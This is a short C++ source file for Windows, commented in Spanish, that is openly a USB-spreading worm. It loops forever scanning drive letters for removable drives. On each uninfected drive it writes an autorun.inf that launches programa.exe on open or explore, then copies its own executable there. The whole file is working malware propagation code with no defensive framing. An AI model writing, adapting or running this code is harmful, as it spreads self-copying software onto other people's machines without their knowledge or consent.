#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
int main(int argc,char *argv[])
{
while(true){
UINT test;
char tok[][5]={"C:","D:","E:","F:","G:","H:"}; //obviamente se pueeden poner mas aunque no es muy comun que pase de H://
for (int l=0;l<=4;l++){
test = GetDriveType(tok[l]); // MIRA QUE TIPO DE DISPOSITIVO ES EN CASO DE SER 2 ENTONCES ES UNA USB SI ES 1 NO EXISTE
if(test==2){
SetCurrentDirectory(tok[l]); // SE UBICA EN EL DIRECOTORIO RAIZ DE LA USB
ifstream programa;
programa.open("programa.exe");
if(!programa.is_open()){ // EN CASO DE NO ESTAR INFECTADA LO HACE
cout << "usb infectada" << endl;
ofstream autorun;
autorun.open("autorun.inf"); //FAMOSO AUTORUN
autorun << "[Autorun]" << endl;
autorun << "Open=programa.exe" << endl;
autorun << "Label=USB INFECTADA"<< endl;
autorun << "UseAutoplay=1"<< endl;
autorun << "action=Abrir USB"<< endl;
autorun << "action=@programa.exe"<< endl;
autorun << "shell\\open=Abrir"<< endl;
autorun << "shell\\open\\Command=programa.exe" << endl;
autorun << "shell\\open\\Default=1" << endl;
autorun << "shell\\explore=Explorar"<< endl;
autorun << "shell\\explore\\Command=programa.exe"<< endl;
autorun.close();
CopyFile( argv[0], "programa.exe", true ); // SE COPIA
}
}
}
Sleep(5000); // ESPERA 5 SEGUNDOS
}
return 0;
}